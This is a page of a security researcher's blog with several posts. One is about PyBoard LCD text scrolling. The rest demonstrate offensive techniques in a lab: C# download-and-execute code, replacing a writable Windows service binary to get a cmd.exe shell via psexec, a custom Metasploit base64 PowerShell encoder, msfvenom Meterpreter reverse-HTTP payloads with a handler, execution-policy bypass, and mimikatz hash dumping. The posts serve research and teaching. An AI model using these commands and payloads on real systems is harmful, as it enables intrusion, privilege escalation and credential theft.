Didier Stevens

Saturday 16 September 2017

PyBoard LCD160CR Text Scrolling Window 8

Filed under: Hacking,Hardware — Didier Stevens @ 13:38

I used my PyBoard microcontroller + LCD160CD screen as a name tag at 44CON.

I had to do some research, as I could not find example code to get the text scrolling working. The key to the solution was to set the direction to 2 (-x).

This is the code I put in main.py:

# main.py -- put your code here!

# Didier Stevens 2017/09/13 https://DidierStevens.com

# https://docs.micropython.org/en/latest/pyboard/library/lcd160cr.html
import lcd160cr

# http://micropython.org/resources/LCD160CRv10-refmanual.pdf page 7
def LCDVector(frame_mode, direction, step):
    return frame_mode << 15 | direction << 12 | step

# http://micropython.org/resources/LCD160CRv10-refmanual.pdf page 8
def LCDFont(pixel_replication, soft_scroll_flag, transparency_flag, font_number, horizontal_bold_offst, vertical_bold_offst):
    return pixel_replication << 8 | soft_scroll_flag << 7 | transparency_flag << 6 | font_number << 4 | horizontal_bold_offst << 2 | vertical_bold_offst

lcd = lcd160cr.LCD160CR('X')
lcd.set_orient(lcd160cr.PORTRAIT)
lcd.set_scroll_buf('Didier NVISO.BE ')
lcd.set_scroll_win(8, 0, 0, 128, 128, LCDVector(0, 2, 4), LCDFont(7, 0, 0, 3, 0, 0), 0x0000, 0xFFFF)
lcd.set_scroll(1)

Thursday 7 September 2017

Running Windows Services on Linux with Mono

Filed under: Hacking — Didier Stevens @ 0:00

I knew you could run .NET executables on Linux with Mono, but I didn’t know you could run services too.

For example, this program to download and start a file works on Windows, Linux and OSX:

namespace Demo
{
    static class Program
    {
        const string url = @"https://example.com";
        const string filename = @"example.txt";

        static void Main()
        {
            string tempfilename = System.IO.Path.Combine(System.IO.Path.GetTempPath(), filename);
            (new System.Net.WebClient()).DownloadFile(url, tempfilename);
            System.Diagnostics.Process.Start(tempfilename);
        }
    }
}

Services can be executed too on Mono, I discovered that when I launched service.exe:

As I just installed mono-devel, mono-service was not installed. For that, I need the complete Mono: sudo apt-get install mono-complete

And then I can run service.exe (which launches ping 127.0.0.1):

Wednesday 6 September 2017

Compiling a Windows Service With Mono on Kali

Filed under: Hacking — Didier Stevens @ 0:00

The Windows service I used in my previous blog post can also be compiled on Kali (or other Linux distros or OSX) using Mono.

First I install Mono on Kali: sudo apt-get install mono-devel

Then I can use Mono’s C# compiler mcs. Unlike .NET’s C# compiler csc.exe, mcs requires a reference to compile a Windows service:

mcs -reference:System.ServiceProcess.dll service.cs

 

Tuesday 5 September 2017

Abusing A Writable Windows Service

Filed under: Hacking — Didier Stevens @ 0:00

A friend had a problem: he found a Windows service with a writable executable (e.g. writable by a non-admin user), replaced it with a copy of cmd.exe, but got no prompt.

This is because of 2 reasons.

First, a Windows service is a Windows executable (PE file) that must be able to interact with the Services Control Manager when the SCM loads the executable. Since cmd.exe does not have the capability to interact with the SCM, the SCM will quickly stop the cmd.exe executable. On my Windows VM, cmd.exe ran only 200 milliseconds when launched by the SCM.

Here you can see how the SCM reacts when it launches cmd.exe:

This problem can be solved by creating a Windows service executable that launches cmd.exe upon starting. Creating such a Windows service with .NET is easy, here is the minimum C# source code for a service that launches cmd.exe upon starting:

using System.ServiceProcess;

namespace Demo
{
    public class Service : ServiceBase
    {
        protected override void OnStart(string[] args)
        {
            System.Diagnostics.Process.Start("cmd.exe");
        }
    }

    static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}

cmd.exe will be running, but we will still not have a console window. This is because of the second reason: Windows services run in session 0 and session 0 does not allow user interfaces. So cmd.exe runs in session 0 and my friend’s user account runs in session 1. If we can make cmd.exe run in session 1, then my friend can interact with the console.

There is a quick solution for this: psexec. With psexec’s option -i, one can specify in which session the program launched by psexec must run.
So our minimal code for a service becomes:

using System.ServiceProcess;

namespace Demo
{
    public class Service : ServiceBase
    {
        protected override void OnStart(string[] args)
        {
            System.Diagnostics.Process.Start(@"c:\demo\psexec.exe", @"-accepteula -d -i 1 cmd.exe");
        }
    }

    static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}

This simple service can be compiled with the C# compiler csc.exe:

In this example, I install the service with command “sc create Service type= own binpath= c:\demo\Service.exe”, but of course, my friend did not have to do this (this requires admin rights), he just had to replace the service’s executable:

When I first tried this, it did not work. Looking through procmon‘s logs for service.exe, I saw that the psexec executable was never loaded. At the end of the logs, I saw references to smartscreen.exe, and then quickly thereafter, service.exe stopped running. That’s when it dawned on me: when I downloaded psexec, I left the mark-of-web on the file. SmartScreen did now allow psexec to run because it was downloaded from the Internet. After removing that mark, it all ran without problem.

 

Saturday 26 August 2017

Quickpost: Metasploit PowerShell BASE64 Commands

Filed under: Hacking,Quickpost — Didier Stevens @ 21:29

I wanted to generate some BASE64 encoded PowerShell commands (i.e. with option -EncodedCommand) for analysis with my tool base64dump.py, thus I turned to Metasploit to generate these commands.

Here is the list of encoders:

It looks like cmd/powershell_base64 is what I’m looking for.

I couldn’t get the results that I wanted with this encoder, so I took a look at the source code:

This encoder will actually encode commands you pass to cmd.exe, and not PowerShell scripts.

I wanted an encoder for PowerShell scripts, like this simple PowerShell script to display a message box:

Add-Type -AssemblyName PresentationFramework
[System.Windows.MessageBox]::Show('Hello from PowerShell!')

Or even simpler:

Write-Host "Hello from PowerShell!"

And at this point, I really got sidetracked…

I coded my own encoder (based on the powershell_base64 encoder):

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Encoder
  Rank = NormalRanking

  def initialize
    super(
      'Name'             => 'Powershell Base64 Script Encoder',
      'Description'      => %q{
        This encodes a PowerShell script as a base64 encoded script for PowerShell.
      },
      'Author'           => 'Didier Stevens',
      'Arch'             => ARCH_CMD,
      'Platform'         => 'win')

    register_options([
      OptBool.new('NOEXIT', [ false, 'Add -noexit option', false ]),
      OptBool.new('SYSWOW64', [ false, 'Call syswow64 powershell', false ])
    ])

  end

  #
  # Encodes the payload
  #
  def encode_block(state, buf)
    base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf))
    cmd = ''
    if datastore['SYSWOW64']
      cmd += 'c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe '
    else
      cmd += 'powershell.exe '
    end
    if datastore['NOEXIT']
      cmd += '-NoExit '
    end
    cmd += "-EncodedCommand #{base64}"
  end
end

To install my encoder, I created folder powershell inside folder C:\metasploit\apps\pro\vendor\bundle\ruby\2.3.0\gems\metasploit-framework-4.15.4\modules\encoders (that’s on Windows) and copied my encoder base64.rb into it.

That’s all that is needed to make it available:

And now I can just use it with msfvenom, for example:

 

–payload – indicates that the payload has to be taken from stdin.

What I have no explanation for, is why on Windows input redirection does not work while piping works:

Echo works too:

With this encoder, I can encode a PowerShell script generated with msfvenom, like this:

The first msfvenom command will generate a powershell script with 32-bit shellcode for a meterpreter shell. The second msfvenom command will encode this command into a BASE64 PowerShell command. Option NOEXIT adds -NoExit to the PowerShell command, and option SYSWOW64 uses 32-bit powershell.exe on 64-bit Windows.

As the generated code was too long for the command line, I had to use option –smallest with the first msfvenom command to reduce the size of the script.

Here is the generated command:

And here is the execution:

More info:

 


Quickpost info


Wednesday 16 August 2017

Generating PowerShell Scripts With MSFVenom On Windows

Filed under: Hacking — Didier Stevens @ 20:46

To generate a PowerShell script with msfvenom on Windows, use the command “msfvenom.bat –payload windows/x64/meterpreter_reverse_http –format psh –out meterpreter-64.ps1 LHOST=127.0.0.1”:

The payload windows/x64/meterpreter_reverse_http is the Meterpreter payload for 64-bit Windows. Format psh is the format to use to generate a PowerShell script that will execute the payload (formats ps1 and powershell are transform formats, they do not generate a script that executes the payload).

A 32-bit payload is generated with this command “msfvenom.bat –payload windows/meterpreter_reverse_http –format psh –out meterpreter-32.ps1 LHOST=127.0.0.1”:

Just as I showed in my post for .exe payloads, we start a handler like this:

Now we need to execute the PowerShell scripts. Just executing “powershell.exe -File meterpreter-64.ps1” will not work:

By default, .ps1 files are not executed. We can execute them by bypassing the policy “powershell.exe -ExecutionPolicy Bypass -File meterpreter-64.ps1”:

In this example, 948 is the handle to the thread created by CreateThread when the payload is executed.

But back in the Metasploit console, you will not see a connection. That’s because the PowerShell process terminates before the Meterpreter payload can fully execute: powershell.exe executes the script, which loads the Meterpreter payload in the powershell process, and then powershell.exe exits, e.g. the powershell process is terminated and thus the Meterpreter payload too.

To give the Meterpreter payload the time to establish a connection, the powershell process must remain alive. We can do this by preventing powershell.exe to exit with option -NoExit:

Now we get a connection:

This example was for a 64-bit payload on a 64-bit Windows machine.

The same command is used to execute the 32-bit payload on a 32-bit Windows machine (except for the filename, which is meterpreter-32.ps1 in our example).

To execute the 32-bit payload on a 64-bit Windows machine, we need to start 32-bit PowerShell, like this “c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoExit -File meterpreter-32.ps1”:

This gives us 2 sessions:

Monday 14 August 2017

Using Metasploit On Windows

Filed under: Hacking — Didier Stevens @ 10:17

In my previous post “Reading Memory Of 64-bit Processes” I used the Windows version of Metasploit so that I could do all tests with a single machine: running the Meterpreter client and server on the same machine.

The Metasploit framework requires administrative rights to install on Windows, it will install by default in the c:\metasploit folder. Your AV on your Windows machine will generate alerts when you install and use Metasploit on Windows, so make sure to create the proper exceptions.

General remark: Metaploit on Windows is slower than on Linux, be patient.

I use MSFVenom (c:\metasploit\msfvenom.bat) to create 32-bit and 64-bit executables to inject the Meterpreter payload.

Command “msfvenom.bat –help” will show you all options:

Command “msfvenom.bat –list payloads” will show you all payloads:

Command “msfvenom.bat –help-formats” will show you all output formats:

Executable formats will generate programs and scripts, while transform formats will just produce the payload. More on this later.

I use msfvenom.bat to create a 32-bit and 64-bit executable with the meterpreter_reverse_http payload.

Here is the command for 32-bit: “msfvenom.bat –payload windows/meterpreter_reverse_http –format exe –out meterpreter-32.exe LHOST=127.0.0.1”.

Since I did not specify the platform and architecture, msfvenom will choose these based on the payload I selected.

Format exe is the executable format for .exe files.

windows/meterpreter_reverse_http is the Windows 32-bit version of the meterpreter_reverse_http payload. This payload takes several options, which can be enumerated with the following command:

“msfvenom.bat –payload windows/meterpreter_reverse_http –payload-options”

LHOST is the only required option that has no default value. I use LHOST=127.0.0.1 because I’m doing everything on the same machine, so the loopback address can be used.

Here is the command for 64-bit: “msfvenom.bat –payload windows/x64/meterpreter_reverse_http –format exe –out meterpreter-64.exe LHOST=127.0.0.1”.

Now that I created my 2 executables, I can start Metasploit’s console and use them.

I start c:\metasploit\console.bat (this will take a couple of minutes on Windows).

And then I start the Meterpreter server with these commands:

use exploit/multi/handler
set payload windows/meterpreter_reverse_http
set lhost 127.0.0.1
exploit

The Metasploit handler is now waiting for connections. I start meterpreter-64.exe as administrator, because I want it to have SYSTEM access (I ran msfvenom and console as normal user).

When started, meterpreter-64.exe will connect to the handler and wait for instructions (the process will not exit). We can see this connection here:

With the sessions command, we can see all callbacks:

And here we select session 1 to interact with Meterpreter:

From here on, we can use this Meterpreter shell:

 

 

 

Sunday 13 August 2017

Reading Memory Of 64-bit Processes

Filed under: Hacking — Didier Stevens @ 23:21

When you read the memory of a 64-bit process, you have to make sure to read it from a 64-bit process. A 32-bit process can not use the documented Windows API to read the memory of a 64-bit process.

Here is an example using Metasploit with Meterpreter’s mimikatz module:

When using 32-bit meterpreter/mimikatz command msv to extract hashes from 64-bit Windows, we get an error: “0x0000012b Only part of a ReadProcessMemory or WriteProcessMemory request was completed”. This error occurs when a 32-bit process wants to read or write memory from a 64-bit process.

If we take a second look at the result of command “load mimikatz”, we see a warning: [!] Loaded x86 Mimikatz on a x64 architecture.

We need to run Meterpreter in a 64-bit process to access memory of a 64-bit process (like LSA):

Here we have no Windows API error anymore, but still no hashes. This is because Meterpreter’s mimikatz module is an older version (1.0) that can not extract hashes from the latest versions of Windows. Here we are using a 64-bit fully patched Windows 7 machine.

Command “mimikatz_command -f version” confirms module mimikatz’s version:

When we use this version on an 64-bit unpatched Windows 7 SP1 machine, we get hashes:

Maybe you recognize the LM and NTLM hashes of the empty string (AAD3B435B51404EEAAD3B435B51404EE and 31D6CFE0D16AE931B73C59D7E0C089C0).

Saturday 15 July 2017

Mimikatz Videos

Filed under: Hacking — Didier Stevens @ 21:01

I created more mimikatz videos.

And if you didn’t see it, @gentilkiwi created a BSOD command for minesweeper ;-).

mimikatz and protected processes:

mimkatz RPC mode:

And mimikatz skeleton command:

Monday 10 July 2017

Select Parent Process from VBA

Filed under: Forensics,Hacking,maldoc,Malware,My Software — Didier Stevens @ 0:00

Years ago I wrote a C program to create a new process with a chosen parent process: selectmyparent. And recently I showed what process monitor and system monitor report when you use this tool.

Starting a new process with a chosen parent process can be done from VBA too, as shown in this video (I’m not sharing the VBA code):

Next Page »

Blog at WordPress.com.